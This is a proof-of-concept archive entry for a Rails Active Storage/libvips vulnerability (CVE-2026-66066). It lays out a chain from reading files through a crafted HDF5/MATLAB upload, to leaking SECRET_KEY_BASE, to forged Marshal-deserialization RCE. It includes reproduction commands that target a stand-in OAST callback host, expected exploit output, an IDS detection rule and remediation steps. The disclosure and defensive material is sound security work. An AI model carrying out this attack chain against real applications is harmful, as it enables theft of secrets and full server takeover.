Rails Active Storage Arbitrary File Read to RCE via libvips Unfuzzed Loaders (CVE-2026-66066)
Published: 2026-07-27 • Researcher: Zer0SumGam3 (unverified, new GitHub account)
- Severity
- Critical
- CVE
- CVE-2026-66066 (GHSA-xr9x-r78c-5hrm)
- Category
- web
- Affected product
- Ruby on Rails — Active Storage (image variant processing via :vips/libvips)
- Affected versions
- activestorage < 7.2.3.2; 8.0-8.0.5.0; 8.1-8.1.3.0
- Disclosed
- 2026-07-27
- Patch status
- Patched
Tags
References
Archive entry
intelseclab/poc-archiveOn this page
Metadata
| Field | Value |
|---|---|
| Date Added | 2026-07-27 |
| Last Updated | 2026-07-27 |
| Author / Researcher | Zer0SumGam3 (unverified, new GitHub account) |
| CVE / Advisory | CVE-2026-66066 (GHSA-xr9x-r78c-5hrm) |
| Category | web |
| Severity | Critical |
| CVSS Score | 9.5 (CVSSv3) |
| Status | Weaponized |
| Tags | ruby-on-rails, active-storage, libvips, arbitrary-file-read, marshal-deserialization, rce, unauthenticated, cwe-22 |
| Related | N/A |
Affected Target
| Field | Value |
|---|---|
| Software / System | Ruby on Rails — Active Storage (image variant processing via :vips/libvips) |
| Versions Affected | activestorage < 7.2.3.2; 8.0-8.0.5.0; 8.1-8.1.3.0 |
| Language / Platform | Ruby (Rails), libvips (native image processing library, C) |
| Authentication Required | No |
| Network Access Required | Yes — any HTTP endpoint that accepts an image upload and later generates an Active Storage variant/representation |
Summary
Rails Active Storage hands untrusted, attacker-supplied image uploads directly to libvips for variant/representation generation without disabling libvips’ “unfuzzed” (i.e. not hardened against malicious input) loaders, specifically the MATLAB/HDF5 matload operation. An unauthenticated attacker can upload a file crafted to be sniffed as a MATLAB/HDF5 container whose data is backed by HDF5 external storage pointing at an arbitrary target-side path (e.g. /proc/1/environ), and trigger Active Storage to render it as an image variant. libvips reads the external file and returns its bytes embedded in the resulting PNG pixel data, letting the attacker recover process environment variables — including SECRET_KEY_BASE. With that secret, the attacker derives Active Storage’s HMAC verifier key and forges a signed “variation” transformation containing a Ruby Marshal deserialization gadget chain, which Rails deserializes and executes when the forged representation is requested — yielding unauthenticated remote code execution.
Vulnerability Details
Root Cause
Active Storage delegates variant generation to libvips through the image_processing/ruby-vips bindings without disabling libvips loaders that are not hardened against adversarial input. libvips’ MATLAB/HDF5 loader (matload) supports HDF5 “external storage” datasets, where the pixel data referenced by the file is not embedded in the file itself but instead loaded from a separate path on disk at a given offset and length. Because Active Storage does not restrict which loaders libvips may use for untrusted uploads, an attacker-crafted .mat/HDF5 file can declare an external dataset backed by any target-side file path (e.g. /proc/1/environ), and libvips will read that path when producing the requested image variant, leaking its bytes into the returned pixel data (tracked as CWE-22, path traversal / arbitrary file read via the external-storage mechanism).
That file-read primitive discloses SECRET_KEY_BASE from the Rails process environment. Active Storage variation transformations are represented as HMAC-signed, Base64-encoded Marshal-serialized Ruby hashes (ActiveStorage::Variation), verified with a key derived from SECRET_KEY_BASE via PBKDF2-HMAC-SHA256 (salt "ActiveStorage", 1,000 iterations, 64-byte key). Once an attacker has the secret, they can derive this verifier key themselves, construct a malicious Marshal payload built from gadget classes already present in a stock Rails/Active Support dependency graph (e.g. MiniMagick::Tool wrapped by ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy), sign it, and submit it as a forged transformation key. Rails deserializes the Marshal payload to build the transformation, and the deserialized object graph invokes an attacker-chosen system command.
Attack Vector
- Locate any application endpoint that accepts an image upload into an Active Storage attachment and later renders a variant/representation of it (even a trivial “avatar” upload feature is sufficient).
- Upload a crafted MATLAB/HDF5 artifact whose external-storage dataset points at a target-side file (e.g.
/proc/1/environ) as an unidentified image (e.g. declared content typeimage/bmp) via Active Storage’s direct-upload flow. - Request a representation/variant of that blob. Stock libvips selects the unfuzzed
matloadloader, reads the external file, and returns its bytes embedded in the resulting image (e.g. as raw pixel data in a PNG). - Parse the returned image back into raw bytes to recover the leaked file contents —
/proc/1/environyields the process environment, includingSECRET_KEY_BASE. - Derive the Active Storage verifier key from the recovered secret (PBKDF2-HMAC-SHA256, salt
"ActiveStorage", 1,000 iterations, 64-byte key), build a Ruby Marshal payload encoding a gadget chain that invokes an arbitrary command, sign it with an HMAC-SHA1 over the Base64-encoded payload, and submit the forged signature as a variation key when requesting a representation. - Rails deserializes the forged Marshal payload while building the transformation, executing the embedded command.
Impact
Unauthenticated remote code execution against any Rails application that accepts image uploads through Active Storage with a stock :vips processor — a default, common configuration. The initial file-read primitive alone is high-impact (arbitrary file disclosure, application secret exposure), and it directly enables full RCE as the application process user.
Environment / Lab Setup
OS: Linux (Docker host)
Target: Minimal stock Rails 8.1.3 app, Docker Official ruby:3.4.10-slim base,
Rails-generated packages curl/libjemalloc2/libvips/sqlite3, one Upload
model with a single Active Storage attachment and a PNG variant view
Attacker: Python 3 + h5py (for HDF5/MATLAB artifact construction)
Tools: rails_vips_oast_poc.py (this folder), an OAST/callback receiver
(e.g. Interactsh, a simple HTTP listener) to confirm blind RCESetup Steps
| |
Proof of Concept
See
rails_vips_oast_poc.py,Dockerfile,.dockerignore,run_lab.sh,overlay/(the five-file minimal target application), andupstream-README.mdin this folder — mirrored unmodified from Zer0SumGam3/CVE-2026-66066-POC. Verified before ingestion: the full 1,135-line script was read directly and independently confirmed to implement, from scratch, a real HDF5/MATLAB external-storage artifact builder (viah5py), a hand-rolled Ruby Marshal 4.8 writer constructing aMiniMagick::Tool/ActiveSupport::Deprecation::DeprecatedInstanceVariableProxygadget chain, correct PBKDF2-HMAC-SHA256 Active Storage verifier-key derivation (saltActiveStorage, 1,000 iterations, 64-byte key) with HMAC-SHA1 signing, and a complete multipart-form plus direct-upload HTTP driver against a real Rails target. The script restricts itself to loopback/localhost targets by default, contains no shell-out/curl-pipe-bash install steps, no payment or Telegram gates, and no shortened URLs. The embedded RCE demonstration payload is a fixed, argument-array (non-shell) invocation of/usr/bin/curlthat performs a single GET to the attacker-supplied OAST callback URL carrying only a random correlation token — no secrets, file contents, or command output are exfiltrated by the demo payload itself. Mechanism matches GHSA-xr9x-r78c-5hrm exactly.
Step-by-Step Reproduction
Build and launch the vulnerable target — a stock Rails 8.1.3 app with one Active Storage-backed upload model.
Shell script1./run_lab.sh 8.1.3Run the combined artifact builder and HTTP driver — constructs the HDF5/MATLAB file-read artifact, uploads it, recovers the secret, forges and signs the Marshal payload, then triggers it.
Shell script1 2 3python3 rails_vips_oast_poc.py \ --target http://127.0.0.1:3000 \ --oast https://YOUR-OAST-DOMAIN.example/callbackConfirm the OAST callback — match the
oast_nonceprinted in the terminal against therails_ghsa_xr9x=<nonce>query parameter received by the OAST listener.(Optional) Verify the patched differential — stop the target, rebuild against the fixed release, and rerun the same driver command; the file read and RCE steps should fail (HTTP 500 with no environment bytes returned, no forged payload submitted, no callback).
Shell script1./run_lab.sh 8.1.3.1
Exploit Code
Full artifact builder, Marshal writer, verifier-key derivation, and HTTP driver are in
rails_vips_oast_poc.py(1,135 lines) in this folder — copied unmodified from upstream.
| |
Expected Output
artifact_mode=constructed
artifact_retained=false
embedded_payload=true
safe_png_representation_http=200
direct_blob_create_http=200
direct_object_put_http=204
environment_representation_http=200
returned_geometry=1x1024x1
ARBITRARY_ENV_READ_RESULT=CONFIRMED
marshal_source=embedded_artifact
rce_program=/usr/bin/curl
oast_probe_http=500
OAST_RESULT=CHECK_RECEIVERThe final oast_probe_http=500 is expected: the callback fires while Rails is mid-way through rebuilding the authenticated Marshal Hash, before the overall transformation subsequently fails — the RCE has already executed by that point.
Screenshots / Evidence
- Not provided upstream. Reproduction relies on the terminal output shown above (
ARBITRARY_ENV_READ_RESULT=CONFIRMED,OAST_RESULT=CHECK_RECEIVER) plus an external OAST/callback receiver log showing the correlation-nonce GET request.
Detection & Indicators of Compromise
SIEM / IDS Rule (example):
alert http any any -> any any (msg:"Possible Rails ActiveStorage libvips MAT/HDF5 upload"; content:"MATLAB 5.0"; http_client_body; sid:9000002;)Remediation
| Action | Detail |
|---|---|
| Patch | Upgrade activestorage to 7.2.3.2, 8.0.5.1, or 8.1.3.1 (patched releases per GHSA-xr9x-r78c-5hrm, published around 2026-07-29), which enable libvips’ untrusted-operation block so matload and other unfuzzed loaders are rejected for untrusted input. |
| Workaround | If patching is not immediately possible, restrict or disable variant/representation generation for untrusted uploads, or configure libvips to block unfuzzed loaders (VIPS_BLOCK_UNTRUSTED) ahead of the official Rails fix. Rotate SECRET_KEY_BASE as a precaution given the file-read primitive can disclose it. |
| Config Hardening | Ensure image processing pipelines never trust attacker-supplied content-type declarations over the application’s own upload validation; monitor for MATLAB/HDF5-signatured uploads on endpoints that should only ever receive photographic image formats. |
References
Notes
Verified before ingestion per this archive’s verify-before-ingest standard: the full 1,135-line rails_vips_oast_poc.py was read directly rather than trusted on the strength of its README. It contains a genuine, self-written HDF5/MATLAB artifact builder (using h5py to create a real external-storage dataset backed by an arbitrary target path), a hand-rolled Ruby Marshal 4.8 serializer constructing the MiniMagick::Tool/ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy gadget chain, correct PBKDF2-HMAC-SHA256 Active Storage verifier-key derivation and HMAC-SHA1 signing matching Rails’ own ActiveStorage::Verifier scheme, and a complete multipart-form-plus-direct-upload HTTP driver exercising the real vulnerable code path end to end against a genuinely vulnerable Rails/libvips target. The mechanism matches GHSA-xr9x-r78c-5hrm exactly, and no scam, malware-dropper, or phantom-exploit signals were found (no shell-pipe installers, no payment/Telegram gates, no shortened URLs, no destructive default behavior, and the demonstration RCE payload is a harmless, argument-array, non-shell OAST callback rather than a hidden payload).
Author-credibility caveat: the GitHub account Zer0SumGam3 was created 2026-07-08, roughly three weeks before this entry was ingested (2026-07-27). It has only 2 public repositories, 1 follower, and no bio — an unestablished, unvouched account with no track record, though it is not on this archive’s known farm-account blocklist. This entry is credited on the strength of independent code verification, not author reputation, and readers should weigh the account’s newness accordingly.
One minor discrepancy noted during verification: the upstream README.md (mirrored here as upstream-README.md) references a standalone companion script, build_upload_artifact.py, for artifact-only construction without any HTTP requests — this file is not present in the repository. It is not required for the main rails_vips_oast_poc.py one-shot builder-and-driver to function, and its absence does not affect reproduction of the vulnerability; it is flagged here for completeness only, not as a red flag.
| |